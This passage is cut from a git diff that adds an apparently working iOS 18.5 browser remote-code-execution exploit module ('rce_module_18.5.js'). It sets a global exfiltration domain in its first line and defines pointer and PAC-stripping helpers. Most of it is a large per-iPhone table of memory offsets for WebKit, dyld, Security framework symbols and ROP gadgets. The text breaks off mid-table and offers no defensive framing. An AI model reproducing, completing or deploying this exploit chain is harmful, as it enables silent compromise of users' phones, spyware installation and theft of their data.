print("RCE success"); + return this.stage1(); + }); + } +} +globalThis.check_attempt = check_attempt; diff --git a/channel-builder-ds/source/rce_module_18.5.js b/channel-builder-ds/source/rce_module_18.5.js new file mode 100644 index 0000000..0b99f41 --- /dev/null +++ b/channel-builder-ds/source/rce_module_18.5.js @@ -0,0 +1,3595 @@ +try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} +// rce_module_18.5.js — iOS 18.5 companion module (from rce_module_18.6.js) +// LAB_RCE_MODULE_18_5 — fallback from rce_module.js (GitHub stub was 85B) +/* HEADERS */ +const ab = new ArrayBuffer(8); +const u64 = new BigUint64Array(ab); +const u32 = new Uint32Array(ab); +const u8 = new Uint8Array(ab); +const f64 = new Float64Array(ab); + +BigInt.fromDouble = function(v) { f64[0] = v; return u64[0]; }; +BigInt.fromBytes = function(bytes) { for (let i = 0; i < 8; ++i) { u8[i] = bytes[i]; } return u64[0]; }; +BigInt.prototype.hex = function() { let s = '0x' + this.toString(16); return s; }; +BigInt.prototype.asDouble = function() { u64[0] = this; return f64[0]; }; +BigInt.prototype.add = function(other) { return this + other; }; +BigInt.prototype.sub = function(other) { return this - other; } +BigInt.prototype.noPAC = function() { return this & 0x7fffffffffn; } +BigInt.prototype.asInt32s = function() { + u64[0] = this; + let lo = u32[0]; + let hi = u32[1]; + if (hi >= 0x80000000) { + hi = (hi - 0x100000000) & 0xffffffff; + } + if (lo >= 0x80000000) { + lo = (lo - 0x100000000) & 0xffffffff; + } + return [lo, hi]; +}; +[].shift(); +/* HEADERS END */ +rce_offsets = { + "iPhone11,2_4_6_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadec98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade780n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade6e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade730n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb848n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bde60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bde68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bde70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bde78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c7be60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e418n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62678n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1b8n, + WebCore__initPKContact_value: 0x1eda6b1c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69980n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69978n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69960n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f5c0n, + __pthread_head: 0x269008020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4f90n, + gadget_control_1_ios184: 0x23f2f82ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d09d7e8n, + libGPUCompilerImplLazy_cstring: 0x23c1e7870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca458n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c96c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone11,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadec98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade780n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade6e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade730n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb848n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bde60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bde68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bde70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bde78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c47e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e418n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62678n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1b8n, + WebCore__initPKContact_value: 0x1eda6b1c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69980n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69978n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69960n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f5c0n, + __pthread_head: 0x269000020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4f90n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca458n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c96c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadecd8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade7c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade720n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade770n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb888n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdea0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdea8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdeb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddf0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdeb8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c8fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e458n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda626b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1f8n, + WebCore__initPKContact_value: 0x1eda6b200n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda699c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda699b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda699a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f600n, + __pthread_head: 0x269104020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4fd0n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca498n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9700n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,3_5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadecd8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade7c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade720n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade770n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb888n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdea0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdea8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdeb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddf0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdeb8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c8fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e458n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda626b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1f8n, + WebCore__initPKContact_value: 0x1eda6b200n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda699c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda699b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda699a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f600n, + __pthread_head: 0x269104020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4fd0n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca498n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9700n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadea98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade580n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade4e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade530n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edadd928n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ada98n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb648n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9bdfb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdc60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdc68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdc70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bdbb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdc78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257b97e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e218n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62478n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6afb8n, + WebCore__initPKContact_value: 